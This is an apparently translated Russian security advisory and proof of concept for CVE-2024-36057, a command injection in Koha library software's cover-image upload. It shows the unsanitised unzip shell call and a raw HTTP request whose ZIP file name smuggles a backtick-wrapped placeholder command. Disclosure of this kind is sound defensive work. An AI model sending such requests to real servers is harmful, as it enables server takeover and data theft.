
Консультация и proof-of-concept для CVE-2024-36057 — аутентифицированная инъекция OS-команд в библиотечном ПО Koha, демонстрирующая произвольное выполнение команд через специально сформированные имена ZIP-файлов.
CVE ID: CVE-2024-36057
Продукт: Koha Library Software
Тип уязвимости: Внедрение OS-команд (CWE-78)
Оценка CVSS: 8.7 (Высокая) Требуется аутентификация
Затронутые версии: Ниже 22.05.22
Автор: Karolis Narvilas
Koha — это открытая интегрированная библиотечная система. Уязвимость внедрения команд существует в функциональности загрузки обложек в tools/upload-cover-image.pl. Приложение использует qx/unzip $filename -d $dirname/ для извлечения загруженных ZIP-архивов без санитизации параметра имени файла.
Аутентифицированный пользователь с высокими привилегиями может создать ZIP-файл с вредоносным именем, содержащим символы обратных кавычек, для внедрения произвольных shell-команд, которые выполняются на стороне сервера при нажатии пользователем кнопки «Process Images».
Воздействие: удалённый аутентифицированный злоумышленник может использовать CVE-2024-36057 для выполнения произвольных OS-команд на сервере, что приводит к полной компрометации системы, краже данных и установке постоянных бэкдоров или reverse-шеллов.
https://{domain}/cgi-bin/koha/tools/upload-cover-image.plЗапрос:
POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close
------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed
<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--
